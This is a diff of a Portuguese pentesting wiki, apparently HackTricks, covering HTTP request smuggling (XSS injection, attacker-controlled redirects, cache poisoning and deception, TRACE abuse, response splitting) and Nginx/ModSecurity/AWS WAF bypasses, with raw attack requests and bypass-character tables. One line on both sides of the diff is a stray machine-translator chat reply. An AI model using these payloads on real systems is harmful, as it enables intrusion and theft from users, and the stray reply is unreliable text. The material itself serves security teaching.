||||||
@ -517,29 +519,29 @@ A=
|
|||||||
```
|
```
|
||||||
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
|
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
|
||||||
|
|
||||||
1. Iniciando uma requisição `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
|
1. Iniciando uma requisição `POST`, aparentemente típica, com o header `Transfer-Encoding: chunked` para indicar o início do smuggling.
|
||||||
2. Seguindo com um `0`, marcando o fim do corpo da mensagem chunked.
|
2. Seguido por um `0`, marcando o fim do corpo da mensagem chunked.
|
||||||
3. Em seguida, uma requisição `GET` é introduzida, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, acionando o XSS quando o servidor processa esta requisição subsequente.
|
3. Em seguida, uma requisição `GET` smuggled é introduzida, onde o header `User-Agent` é injetado com um script, `<script>alert(1)</script>`, disparando o XSS quando o servidor processa essa requisição subsequente.
|
||||||
|
|
||||||
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz.
|
Ao manipular o header `User-Agent` através do smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade Reflected XSS de uma forma não convencional, mas eficaz.
|
||||||
|
|
||||||
#### HTTP/0.9
|
#### HTTP/0.9
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> No caso de o conteúdo do usuário ser refletido em uma resposta com um **`Content-type`** como **`text/plain`**, impedindo a execução do XSS. Se o servidor suportar **HTTP/0.9, pode ser possível contornar isso**!
|
> Caso o conteúdo do usuário seja refletido em uma resposta com um **`Content-type`** como **`text/plain`**, impedindo a execução do XSS. Se o servidor suportar **HTTP/0.9 pode ser possível contornar isso**!
|
||||||
|
|
||||||
A versão HTTP/0.9 era anterior à 1.0 e usa apenas verbos **GET** e **não** responde com **cabeçalhos**, apenas o corpo.
|
A versão HTTP/0.9 precedeu o 1.0 e usa apenas o verbo **GET** e **não** responde com **headers**, apenas com o corpo.
|
||||||
|
|
||||||
Em [**este writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um smuggling de requisição e um **endpoint vulnerável que irá responder com a entrada do usuário** para smugar uma requisição com HTTP/0.9. O parâmetro que será refletido na resposta continha uma **resposta HTTP/1.1 falsa (com cabeçalhos e corpo)**, de modo que a resposta conterá código JS executável válido com um `Content-Type` de `text/html`.
|
Em [**this writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um request smuggling e um **endpoint vulnerável que irá responder com a entrada do usuário** para smugglear uma requisição com HTTP/0.9. O parâmetro que seria refletido na resposta continha uma **fake HTTP/1.1 response (with headers and body)**, então a resposta passou a conter código JS executável válido com um `Content-Type` de `text/html`.
|
||||||
|
|
||||||
### Explorando Redirecionamentos no Site com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### Explorando redirecionamentos no site com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
As aplicações frequentemente redirecionam de uma URL para outra usando o hostname do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra no final resulta em um redirecionamento para incluir a barra:
|
Aplicações frequentemente redirecionam de uma URL para outra usando o hostname do header `Host` na URL de redirecionamento. Isso é comum em web servers como Apache e IIS. Por exemplo, solicitar uma pasta sem a barra final resulta em um redirecionamento para incluir a barra:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
```
|
```
|
||||||
Resultados em:
|
Resulta em:
|
||||||
```
|
```
|
||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://normal-website.com/home/
|
Location: https://normal-website.com/home/
|
||||||
@ -558,7 +560,7 @@ GET /home HTTP/1.1
|
|||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
Foo: X
|
Foo: X
|
||||||
```
|
```
|
||||||
Esta solicitação disfarçada pode fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:
|
Esta smuggled request poderia fazer com que a próxima requisição de um usuário processada fosse redirecionada para um site controlado pelo atacante:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
@ -570,17 +572,17 @@ Resultados em:
|
|||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://attacker-website.com/home/
|
Location: https://attacker-website.com/home/
|
||||||
```
|
```
|
||||||
Neste cenário, o pedido de um usuário por um arquivo JavaScript é sequestrado. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
|
Neste cenário, a requisição de um usuário por um arquivo JavaScript é sequestrada. O attacker pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
|
||||||
|
|
||||||
### Exploração de Envenenamento de Cache Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Explorando Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
O envenenamento de cache web pode ser executado se qualquer componente da **infraestrutura de front-end armazenar conteúdo em cache**, tipicamente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **envenenar o cache**.
|
Web cache poisoning pode ser executado se qualquer componente da **infraestrutura front-end armazenar em cache conteúdo**, tipicamente para melhorar a performance. Ao manipular a resposta do servidor, é possível **poison the cache**.
|
||||||
|
|
||||||
Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo de `/index.html` em resposta a um pedido por `/static/include.js`. Consequentemente, o conteúdo de `/static/include.js` é substituído no cache pelo de `/index.html`, tornando `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).
|
Anteriormente, observamos como as respostas do servidor podiam ser alteradas para retornar um erro 404 (consulte [Basic Examples](#basic-examples)). Da mesma forma, é factível enganar o servidor para entregar o conteúdo de `/index.html` em resposta a uma requisição por `/static/include.js`. Consequentemente, o conteúdo de `/static/include.js` é substituído no cache pelo de `/index.html`, tornando `/static/include.js` inacessível aos usuários e potencialmente levando a um Denial of Service (DoS).
|
||||||
|
|
||||||
Essa técnica se torna particularmente poderosa se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no site para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado.
|
Essa técnica se torna particularmente potente se for descoberta uma **Open Redirect vulnerability** ou se existir um **on-site redirect to an open redirect**. Vulnerabilidades desse tipo podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do attacker, permitindo essencialmente um ataque Cross-Site Scripting (XSS) em larga escala contra todos os clientes que requisitarem o `/static/include.js` atualizado.
|
||||||
|
|
||||||
Abaixo está uma ilustração da exploração de **envenenamento de cache combinado com um redirecionamento no site para redirecionamento aberto**. O objetivo é alterar o conteúdo do cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
|
Abaixo está uma ilustração de explorar **cache poisoning combined with an on-site redirect to open redirect**. O objetivo é alterar o conteúdo do cache de `/static/include.js` para servir código JavaScript controlado pelo attacker:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable.net
|
Host: vulnerable.net
|
||||||
@ -598,20 +600,20 @@ Content-Length: 10
|
|||||||
|
|
||||||
x=1
|
x=1
|
||||||
```
|
```
|
||||||
Note o pedido embutido direcionado a `/post/next?postId=3`. Este pedido será redirecionado para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar o pedido para seu domínio (**redirecionamento no site para redirecionamento aberto**).
|
Observe a requisição embutida direcionada para `/post/next?postId=3`. Essa requisição será redirecionada para `/post?postId=4`, utilizando o **Host header value** para determinar o domínio. Alterando o **Host header**, o atacante pode redirecionar a requisição para seu domínio (**on-site redirect to open redirect**).
|
||||||
|
|
||||||
Após um **envenenamento de socket** bem-sucedido, um **pedido GET** para `/static/include.js` deve ser iniciado. Este pedido será contaminado pelo anterior pedido de **redirecionamento no site para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
|
Após um **socket poisoning** bem-sucedido, uma **GET request** para `/static/include.js` deve ser iniciada. Essa requisição será contaminada pela anterior **on-site redirect to open redirect** e buscará o conteúdo do script controlado pelo atacante.
|
||||||
|
|
||||||
Subsequentemente, qualquer pedido para `/static/include.js` servirá o conteúdo em cache do script do atacante, efetivamente lançando um amplo ataque XSS.
|
Em seguida, qualquer requisição para `/static/include.js` servirá o conteúdo em cache do script do atacante, efetivamente desencadeando um amplo ataque XSS.
|
||||||
|
|
||||||
### Usando HTTP request smuggling para realizar engano de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||||
|
|
||||||
> **Qual é a diferença entre envenenamento de cache web e engano de cache web?**
|
> **Qual é a diferença entre web cache poisoning e web cache deception?**
|
||||||
>
|
>
|
||||||
> - No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
|
> - Em **web cache poisoning**, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
|
||||||
> - No **engano de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
|
> - Em **web cache deception**, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e então o atacante recupera esse conteúdo do cache.
|
||||||
|
|
||||||
O atacante elabora um pedido contrabandeado que busca conteúdo sensível específico do usuário. Considere o seguinte exemplo:
|
O atacante elabora uma smuggled request que recupera conteúdo sensível específico de um usuário. Considere o seguinte exemplo:
|
||||||
```markdown
|
```markdown
|
||||||
`POST / HTTP/1.1`\
|
`POST / HTTP/1.1`\
|
||||||
`Host: vulnerable-website.com`\
|
`Host: vulnerable-website.com`\
|
||||||
@ -622,17 +624,17 @@ O atacante elabora um pedido contrabandeado que busca conteúdo sensível espec
|
|||||||
`GET /private/messages HTTP/1.1`\
|
`GET /private/messages HTTP/1.1`\
|
||||||
`Foo: X`
|
`Foo: X`
|
||||||
```
|
```
|
||||||
Se esta solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis em cache.
|
Se essa smuggled request envenenar uma cache entry destinada a static content (por exemplo, `/someimage.png`), os victim's sensitive data de `/private/messages` podem ficar cached sob a cache entry do static content. Consequentemente, o attacker poderia potencialmente recuperar esses cached sensitive data.
|
||||||
|
|
||||||
### Abusando do TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que, se o servidor tiver o método TRACE habilitado, pode ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado ao servidor como parte do corpo da resposta. Por exemplo:
|
[**In this post**](https://portswigger.net/research/trace-desync-attack) sugere que se o server tiver o método TRACE habilitado pode ser possível abusar dele com um HTTP Request Smuggling. Isso acontece porque esse método refletirá qualquer header enviado ao server como parte do body da resposta. Por exemplo:
|
||||||
```
|
```
|
||||||
TRACE / HTTP/1.1
|
TRACE / HTTP/1.1
|
||||||
Host: example.com
|
Host: example.com
|
||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
```
|
```
|
||||||
Claro! Por favor, envie o conteúdo que você gostaria que eu traduzisse.
|
Por favor, cole aqui o conteúdo de src/pentesting-web/http-request-smuggling/README.md que deseja traduzir para o português.
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: message/http
|
Content-Type: message/http
|
||||||
@ -643,15 +645,15 @@ Host: vulnerable.com
|
|||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
```
|
```
|
||||||
Um exemplo de como abusar desse comportamento seria **contrabandear primeiro um pedido HEAD**. Este pedido será respondido apenas com os **cabeçalhos** de um pedido GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD um pedido TRACE**, que irá **refletir os dados enviados**.\
|
Um exemplo de como abusar desse comportamento seria primeiro smuggle um HEAD request. Essa request será respondida apenas com os **headers** de uma GET request (**`Content-Type`** entre eles). E smuggle **imediatamente após o HEAD um TRACE request**, que irá **refletir os dados enviados**.\
|
||||||
Como a resposta do HEAD conterá um cabeçalho `Content-Length`, a **resposta do pedido TRACE será tratada como o corpo da resposta do HEAD, refletindo assim dados arbitrários** na resposta.\
|
Como a resposta do HEAD conterá um header `Content-Length`, a **resposta do TRACE será tratada como o corpo da resposta do HEAD, portanto refletindo dados arbitrários** na resposta.\
|
||||||
Essa resposta será enviada para o próximo pedido sobre a conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
|
Essa resposta será enviada para a próxima request na conexão, então isso poderia ser **usado, por exemplo, em um arquivo JS em cache para injetar código JS arbitrário**.
|
||||||
|
|
||||||
### Abusando do TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Abusando do TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Continue seguindo [**este post**](https://portswigger.net/research/trace-desync-attack) que sugere outra maneira de abusar do método TRACE. Como comentado, contrabandear um pedido HEAD e um pedido TRACE torna possível **controlar alguns dados refletidos** na resposta ao pedido HEAD. O comprimento do corpo do pedido HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta ao pedido TRACE.
|
Seguir [**this post**](https://portswigger.net/research/trace-desync-attack) sugere outra maneira de abusar do método TRACE. Como comentado, smuggling um HEAD request e um TRACE request torna possível **controlar alguns dados refletidos** na resposta ao HEAD request. O comprimento do corpo do HEAD request é basicamente indicado no header `Content-Length` e é formado pela resposta ao TRACE request.
|
||||||
|
|
||||||
Portanto, a nova ideia seria que, sabendo esse Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente o pedido para a próxima resposta (o que poderia ser usado para realizar um envenenamento de cache).
|
Portanto, a nova ideia seria que, conhecendo esse `Content-Length` e os dados presentes na resposta do TRACE, é possível fazer com que a resposta do TRACE contenha uma resposta HTTP válida após o último byte definido pelo `Content-Length`, permitindo que um atacante controle completamente a request para a próxima resposta (o que poderia ser usado para executar um cache poisoning).
|
||||||
|
|
||||||
Exemplo:
|
Exemplo:
|
||||||
```
|
```
|
||||||
@ -672,7 +674,7 @@ Content-Length: 44\r\n
|
|||||||
\r\n
|
\r\n
|
||||||
<script>alert("response splitting")</script>
|
<script>alert("response splitting")</script>
|
||||||
```
|
```
|
||||||
Gerará essas respostas (note como a resposta HEAD tem um Content-Length, fazendo com que a resposta TRACE faça parte do corpo do HEAD e, uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é escondida):
|
Gerará estas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE seja parte do HEAD body e, quando o Content-Length da HEAD termina, uma resposta HTTP válida é smuggled):
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
@ -693,32 +695,32 @@ Content-Length: 50
|
|||||||
|
|
||||||
<script>alert(“arbitrary response”)</script>
|
<script>alert(“arbitrary response”)</script>
|
||||||
```
|
```
|
||||||
### Armando HTTP Request Smuggling com Desincronização de Resposta HTTP
|
### Explorando HTTP Request Smuggling com HTTP Response Desynchronisation
|
||||||
|
|
||||||
Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Tente este outro método de exploração:
|
Encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Tente estes outros métodos de exploração:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../http-response-smuggling-desync.md
|
../http-response-smuggling-desync.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Outras Técnicas de HTTP Request Smuggling
|
### Outras técnicas de HTTP Request Smuggling
|
||||||
|
|
||||||
- HTTP Request Smuggling no Navegador (Lado do Cliente)
|
- Browser HTTP Request Smuggling (Client Side)
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browser-http-request-smuggling.md
|
browser-http-request-smuggling.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- Request Smuggling em Downgrades de HTTP/2
|
- Request Smuggling in HTTP/2 Downgrades
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
request-smuggling-in-http-2-downgrades.md
|
request-smuggling-in-http-2-downgrades.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Scripts Turbo Intruder
|
## Turbo intruder scripts
|
||||||
|
|
||||||
### CL.TE
|
### CL.TE
|
||||||
|
|
||||||
@ -807,14 +809,14 @@ table.add(req)
|
|||||||
```
|
```
|
||||||
## Ferramentas
|
## Ferramentas
|
||||||
|
|
||||||
- HTTP Hacker (Burp BApp Store) – visualize concatenação/framing e comportamento HTTP de baixo nível
|
- HTTP Hacker (Burp BApp Store) – visualizar concatenação/framing e comportamento HTTP de baixo nível
|
||||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Ação Personalizada do Burp Repeater "Smuggling ou pipelining?"
|
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Ação personalizada do Burp Repeater "Smuggling or pipelining?"
|
||||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de request smuggling.
|
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um HTTP Fuzzer baseado em gramática, útil para encontrar discrepâncias estranhas de request smuggling.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
@ -827,10 +829,10 @@ table.add(req)
|
|||||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
- Cuidado com o falso positivo: como distinguir HTTP pipelining de request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
- Cuidado com o falso falso‑positivo: como distinguir HTTP pipelining de request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||||
- Ataques Desync Potencializados por Navegador – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||||
- PortSwigger Academy – desync do lado do cliente – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# Proxy / WAF Protections Bypass
|
# Bypass de Proteções de Proxy / WAF
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -7,7 +7,7 @@
|
|||||||
|
|
||||||
Técnicas [desta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
Técnicas [desta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||||
|
|
||||||
Exemplo de regra Nginx:
|
Exemplo de regra do Nginx:
|
||||||
```plaintext
|
```plaintext
|
||||||
location = /admin {
|
location = /admin {
|
||||||
deny all;
|
deny all;
|
||||||
@ -17,12 +17,12 @@ location = /admin/ {
|
|||||||
deny all;
|
deny all;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Para evitar bypasses, o Nginx realiza a normalização de caminho antes de verificá-lo. No entanto, se o servidor backend realizar uma normalização diferente (removendo caracteres que o Nginx não remove), pode ser possível contornar essa defesa.
|
Para prevenir bypasses, o Nginx executa a normalização do caminho antes de verificá-lo. No entanto, se o servidor backend realizar uma normalização diferente (removendo caracteres que o Nginx não remove), pode ser possível realizar um bypass dessa defesa.
|
||||||
|
|
||||||
### **NodeJS - Express**
|
### **NodeJS - Express**
|
||||||
|
|
||||||
| Versão do Nginx | **Caracteres de Bypass do Node.js** |
|
| Versão do Nginx | **Caracteres de Bypass do Node.js** |
|
||||||
| --------------- | ------------------------------------ |
|
| --------------- | ----------------------------------- |
|
||||||
| 1.22.0 | `\xA0` |
|
| 1.22.0 | `\xA0` |
|
||||||
| 1.21.6 | `\xA0` |
|
| 1.21.6 | `\xA0` |
|
||||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||||
@ -32,7 +32,7 @@ Para evitar bypasses, o Nginx realiza a normalização de caminho antes de verif
|
|||||||
### **Flask**
|
### **Flask**
|
||||||
|
|
||||||
| Versão do Nginx | **Caracteres de Bypass do Flask** |
|
| Versão do Nginx | **Caracteres de Bypass do Flask** |
|
||||||
| --------------- | ------------------------------------------------------------------- |
|
| --------------- | ------------------------------------------------------------- |
|
||||||
| 1.22.0 | `\x85`, `\xA0` |
|
| 1.22.0 | `\x85`, `\xA0` |
|
||||||
| 1.21.6 | `\x85`, `\xA0` |
|
| 1.21.6 | `\x85`, `\xA0` |
|
||||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||||
@ -42,7 +42,7 @@ Para evitar bypasses, o Nginx realiza a normalização de caminho antes de verif
|
|||||||
### **Spring Boot**
|
### **Spring Boot**
|
||||||
|
|
||||||
| Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
|
| Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
|
||||||
| --------------- | ---------------------------------------- |
|
| --------------- | --------------------------------------- |
|
||||||
| 1.22.0 | `;` |
|
| 1.22.0 | `;` |
|
||||||
| 1.21.6 | `;` |
|
| 1.21.6 | `;` |
|
||||||
| 1.20.2 | `\x09`, `;` |
|
| 1.20.2 | `\x09`, `;` |
|
||||||
@ -74,20 +74,20 @@ deny all;
|
|||||||
|
|
||||||
### Path Confusion
|
### Path Confusion
|
||||||
|
|
||||||
[**Neste post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12), **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o caminho acessado (até o início dos parâmetros). Isso ocorre porque ele realizava uma decodificação de URL para obter o caminho.\
|
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12), **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o path acessado (até o início dos parâmetros). Isso ocorreu porque ele realizou um URL decode para obter o path.\
|
||||||
Portanto, uma solicitação como `http://example.com/foo%3f';alert(1);foo=` no mod security suporá que o caminho é apenas `/foo` porque `%3f` é transformado em `?` encerrando o caminho da URL, mas na verdade o caminho que um servidor receberá será `/foo%3f';alert(1);foo=`.
|
Portanto, uma request como `http://example.com/foo%3f';alert(1);foo=` no mod security vai supor que o path é apenas `/foo` porque `%3f` é transformado em `?`, encerrando o path da URL, mas na verdade o path que o servidor receberá será `/foo%3f';alert(1);foo=`.
|
||||||
|
|
||||||
As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.
|
As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.
|
||||||
|
|
||||||
Algo semelhante ocorreu na versão 2 do Mod Security que permitiu contornar uma proteção que impedia o acesso do usuário a arquivos com extensões específicas relacionadas a arquivos de backup (como `.bak`) simplesmente enviando o ponto codificado em URL como `%2e`, por exemplo: `https://example.com/backup%2ebak`.
|
Algo semelhante ocorreu na versão 2 do Mod Security que permitia burlar uma proteção que impedia o acesso de usuários a arquivos com extensões específicas relacionadas a backups (como `.bak`) simplesmente enviando o ponto codificado em URL `%2e`, por exemplo: `https://example.com/backup%2ebak`.
|
||||||
|
|
||||||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||||
|
|
||||||
### Malformed Header
|
### Malformed Header
|
||||||
|
|
||||||
[Esta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível contornar as regras do AWS WAF aplicadas sobre cabeçalhos HTTP enviando um cabeçalho "malformado" que não era devidamente analisado pela AWS, mas sim pelo servidor backend.
|
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível burlar regras do AWS WAF aplicadas sobre cabeçalhos HTTP enviando um cabeçalho "malformed" que não era corretamente parseado pelo AWS, mas era pelo servidor backend.
|
||||||
|
